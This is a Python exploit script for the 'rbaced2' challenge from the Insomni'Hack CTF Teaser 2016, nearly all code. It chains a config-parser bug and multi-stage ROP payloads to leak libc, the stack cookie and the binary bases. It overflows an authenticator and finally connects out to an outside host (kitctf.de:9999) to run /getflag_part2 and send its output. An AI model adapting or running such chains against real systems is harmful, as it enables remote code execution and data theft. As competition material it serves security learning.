"""
This is an exploit for rbaced2 from Insomni'Hack CTF Teaser 2016.
Will send the flag to the given host/port via TCP.

Make sure you have a fast connection, otherwise the exploit might fail.
It works from my cloud server, but not from my laptop WiFi.

Approach:
* Use config parser bug in rbaced to jump into first-stage ROP chain
* Write libc base to userdata/XXXX/out.txt and sleep
* Read stage 2 ROP chain from pref.txt into heap
* Establish a userdata <-> TCP tunnel with the authenticator
* Pwn authenticator via multiple stack overflows to leak cookie, libc and binary base
* Final ROP chain reverse-connects to us and sends the flag

Author: niklasb (authenticator ROP chain inspired by saelo's code)
"""

#TARGET = ('127.0.0.1', 9090)
#auth = "admin:password"
#time_step = 1

TARGET = ('rbaced.insomnihack.ch', 8080)
auth = "foo:bar"
time_step = 1

connect_back = ('kitctf.de', 9999)

import requests
import socket
from base64 import b64encode
import hashlib
import re
import struct
import threading
import time
import sys

def p64(d):
    return struct.pack('<Q', d)

def u64(d):
    return struct.unpack('<Q', d)[0]

def async(f, *args, **kwargs):
    t = threading.Thread(target=f, args=args, kwargs=kwargs)
    t.daemon = False
    t.start()

def strcpys(s):
    payloads = []
    idx = 0
    while s.find('\x00', idx) != -1:
        i = s.find('\x00', idx)
        payloads.append('A'*idx + s[idx:i])
        idx = i+1
    payloads.append('A'*idx + s[idx:])
    return list(reversed(payloads))

def write_prefs(payload):
    r = requests.post(url + '/cgi-bin/preferences',
        data=dict(
            sugar='3',
            cream=payload,
            strength='3',
            type='Espresso',
            stick='yes',
        ),
        **http_args
    )
    assert r.status_code == 200

def read_output():
    r = requests.get(url + '/userdata/%s/out.txt' % fname, stream=True, **http_args)
    return r.raw.read()

def make_sockaddr(ip, port):
    ip_num = 0
    for i in map(int, ip.split('.')):
        ip_num = ip_num * 0x100 + i
    return struct.pack('>HHIQ', 0x0200, port, ip_num, 0)

url = 'http://%s:%d' % TARGET
auth_header = "Basic " + b64encode(auth)

http_args = {
    'headers': { 'Authorization': auth_header, },
    #'proxies': { 'http': 'http://localhost:8080/' }
}

r = requests.get(url + '/cgi-bin/order', **http_args)
ip = re.search(r"IP: '([^']*)'", r.text).group(1)
fname = hashlib.sha1(auth_header+ip).hexdigest()
print '[+] filename = %s' % fname

# we control these values in BSS
user_str = '/home/rbaced/www/userdata/%s/pref.txt' % fname
group_str = '/home/rbaced/www/userdata/%s/out.txt' % fname
port = 0x004019a6  # pop rbx ; ret

# this is where our input ends up in BSS
username_buf = 0x605b28
group_buf = 0x605b8d
port_buf = 0x605af8

# binary gadgets
pop_rdi = 0x4042e3
pop_rax = 0x40244e
pop_rsi = 0x4042e1      # pop rsi ; pop r15 ; ret
pop_rbx = 0x00000000004019a6
pop_rbp = 0x0000000000401750
ret = 0x00000000004012a1

open_plt = 0x4015D0
exit_plt = 0x401650
write_plt = 0x401370
read_plt = 0x401460
mmap_plt = 0x4013a0
read_all_alloc = 0x403da8

mmap_got = 0x6058c8

stage2_buf = 0x00605200
stage2_end = 0x00605b28
scratch_buf = 0x605100

fd = 3

# libc gadgets
lc_pop_rdi = 0x00022b1a
lc_pop_rsi = 0x00024805
lc_pop_rdx = 0x00001b8e
lc_pop_rcx = 0x00112ecf

socket_ = 0xfb6b0
connect = 0xfb250
sleep = 0xc0d00
open_ = 0xeb610
write = 0xeb860
read = 0xeb800
close = 0xebf50
exit = 0x3c290
execve = 0xc1330
dup2 = 0xebfe0
sleep = 0xc0d00
mmap = 0xf49c0

def call1(f, *args):
    if len(args)==1:
        return ''.join([
            p64(pop_rdi),
            p64(args[0]),
            p64(f),
        ])
    elif len(args)==2:
        return ''.join([
            p64(pop_rdi),
            p64(args[0]),
            p64(pop_rsi),
            p64(args[1]),
            'A'*8,
            p64(f),
        ])
    elif len(args)==3:
        return ''.join([
            p64(0x004042dc), # pop r12, 13, r14, r15
            p64(port_buf), # port = &(pop rbx, ret)
            p64(args[2]), # rdx
            p64(args[1]), #rsi
            p64(args[0]), #rdi
            p64(0x004019a6), # pop rbx
            p64(0),
            p64(0x004042c0), # mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8]
            p64(f),
        ])
    assert False

dbg = p64(0x4017ba)  # ret in deinitializer routine

stage1 = [
    # fix mmap.GOT to point to sleep function
    p64(pop_rbp),
    p64(mmap_got + 0x41),
    p64(pop_rbx),
    p64((sleep - mmap) % 2**32),
    p64(pop_rax),
    p64(ret),
    p64(0x000000000040173e), # adc dword ptr [rbp - 0x41], ebx ; sbb byte ptr [rdx + 0x60], 0 ; jmp rax

    # leak libc address
    call1(open_plt, group_buf, 578, 0664),
    call1(write_plt, fd, mmap_got, 8),

    # sleep
    call1(mmap_plt, time_step * 2),

    # re-read pref.txt
    call1(open_plt, username_buf, 0),

    call1(read_all_alloc, fd+1, scratch_buf),
    p64(0x000000000040200d), # mov dword ptr [rsp + 0x30], eax ; nop ; add rsp, 0x20 ; ret
    'A'*24,
    p64(ret),
    p64(ret),
    p64(0x4042dd),  # pop rsp; 3 x pop; ret
    p64(0),
]

stage1 = 'A'*(0x400 + 16) + ''.join(stage1)
assert '\n' not in stage1

config = ''
for p in strcpys(stage1):
    config += 'A ' + p[2:] + '\n'
config += 'Group %s\n' % group_str
config += 'User %s\n' % user_str
config += 'Port %d\n' % port
assert len(config) < 0x6a000
print '[+] Config size =', len(config)

write_prefs(config)

#print "Attach now and press enter to continue..."
#raw_input()

async(requests.get,
    url + '/cgi-bin/../../rbaced?--config=userdata/%s/pref.txt&--daemon' % fname,
    stream=True,
    **http_args
)
print "[+] Leaking rbaced libc base..."
time.sleep(time_step)

libc = u64(read_output()) - sleep
print "[+] rbaced libc base = %016x" %  libc

def call2(libc, f, *args, **kw):
    res = []
    if len(args) >= 1 and args[0] is not None: res += [p64(libc + lc_pop_rdi), p64(args[0])]
    if len(args) >= 2 and args[1] is not None: res += [p64(libc + lc_pop_rsi), p64(args[1])]
    if len(args) >= 3 and args[2] is not None: res += [p64(libc + lc_pop_rdx), p64(args[2])]
    if len(args) >= 4 and args[3] is not None: res += [p64(libc + lc_pop_rcx), p64(args[3])]
    if kw.get('debug', False):
        res.append(dbg)
    res.append(p64(libc + f))
    return ''.join(res)

auth_sock = 6
file_fd = 7
var_offset = 3000
comm_buf_size = 0x1000
auth_port = 4242
payloads = 5

tmp_buf = libc + 0x3be7d0   # part of libc BSS

stage2 = 'A'*16  # will get popped by stack pivot gadget

stage2 += p64(pop_rdi)
stage2 += p64(var_offset + 8)
stage2 += p64(libc + 0x0008bf18)  # add rax, rdi ; ret
stage2 += p64(pop_rdi)
stage2 += p64(tmp_buf)
stage2 += p64(libc + 0x0007b136)  # mov qword [rdi+0x08], rax ; ret  ;

stage2 += call2(libc, socket_, 2, 1, 0)
stage2 += p64(pop_rax)
stage2 += p64(tmp_buf)
stage2 += p64(libc + 0x000f83c9) # mov rax, qword [rax+0x08] ; ret  ;
stage2 += p64(libc + 0x0001fef7) # pop r13 ; ret
stage2 += p64(pop_rdi)
stage2 += p64(libc + 0x0011d9d7) # mov rsi, rax ; mov r8, r12 ; mov rcx, r15 ; mov rdi, r14 ; call r13 ;
stage2 += call2(libc, connect, auth_sock, None, 16)

for _ in range(payloads):
    stage2 += call2(libc, sleep, 2*time_step)

    stage2 += call2(libc, open_, username_buf, 0)
    stage2 += call2(libc, read, file_fd, tmp_buf, 0x1000)

    # mov rdx = rax - 164
    stage2 += dbg
    stage2 += p64(pop_rdi)
    stage2 += p64((-65) % 2**64)
    stage2 += p64(libc + 0x0008bf18)  # add rax, rdi ; ret
    stage2 += p64(libc + 0x00108144)  # pop r10 ; ret
    stage2 += p64(port_buf - 0x38)  # port = &(pop ; ret)
    stage2 += p64(libc + 0x0004a4dd) # mov rdx, rax ; mov rsi, r13 ; mov rdi, rbx ; call qword [r10+0x38]

    stage2 += call2(libc, write, auth_sock, tmp_buf + 8, None)
    stage2 += call2(libc, close, file_fd)

    stage2 += call2(libc, read, auth_sock, tmp_buf, comm_buf_size)

    stage2 += call2(libc, open_, group_buf, 578, 0664)
    stage2 += call2(libc, write, file_fd, tmp_buf, comm_buf_size)
    stage2 += call2(libc, close, file_fd)

stage2 += call2(libc, exit, 1337)

assert len(stage2) <= var_offset
stage2 = stage2.ljust(var_offset, 'A')
stage2 += make_sockaddr('127.0.0.1', auth_port)
print '[+] Stager size =', len(stage2)

write_prefs(stage2)
time.sleep(2*time_step)

COOKIE_OFFSET = 0x808
OFFSET_COOKIE_EIP = 0x38
OFFSET_START_MAIN = 138949

def comm(payload):
    assert len(payload) + 100 < 0x1000 # so we don't short-read in stage22
    write_prefs(payload)
    time.sleep(2*time_step)
    return read_output()

# leak cookie
out = comm(b64encode('A'*0x808 + 'B'))
i = out.index('AAAB')
cookie = '\0' + out[i+4:i+11]
print '[+] Cookie:', cookie.encode('hex')

# leak libc base
out = comm(b64encode('C' * (COOKIE_OFFSET + 8 + OFFSET_COOKIE_EIP - 1) + 'D'))
i = out.index('CCCD')
libc_start_main = u64(out[i+4:i+10].ljust(8, b'\x00'))
libc_auth = libc_start_main - OFFSET_START_MAIN
print '[+] authenticator libc base = %016x' % libc_auth

# leak binary base
out = comm(b64encode('E' * (COOKIE_OFFSET + 8 + OFFSET_COOKIE_EIP + 32 - 1) + 'F'))
i = out.index('EEEF')
auth_base = u64(out[i+4:i+10].ljust(8, b'\x00'))
auth_base = auth_base - 0xe80
print '[+] authenticator binary base = %016x' % auth_base

# final ROP chain in authenticator
inbuf = auth_base + 0x202040

auth_rop = 'G'*0x808
auth_rop += cookie
auth_rop += b'H' * OFFSET_COOKIE_EIP
auth_rop += call2(libc_auth, socket_, 2, 1, 0)
auth_rop += call2(libc_auth, connect, 0, inbuf, 16)
auth_rop += call2(libc_auth, dup2, 0, 1)
auth_rop += call2(libc_auth, execve, inbuf + 16, inbuf + 40, inbuf + 40 + 8)
auth_rop += call2(libc_auth, exit, 1337)

assert len(auth_rop) <= 0x9a0
auth_rop = auth_rop.ljust(0x9a0, 'A')

payload = b64encode(auth_rop)
write_prefs(payload)
time.sleep(2*time_step)

# load data for ROP chain into BSS via another send
payload = make_sockaddr(socket.gethostbyname(connect_back[0]), connect_back[1])
payload += '/getflag_part2\0'
assert len(payload) <= 40
payload = payload.ljust(40, '\0')
# new argv
payload += p64(inbuf + 16)
payload += p64(0)

write_prefs(payload)
print '[+] Exploit successful, flag inc :)'
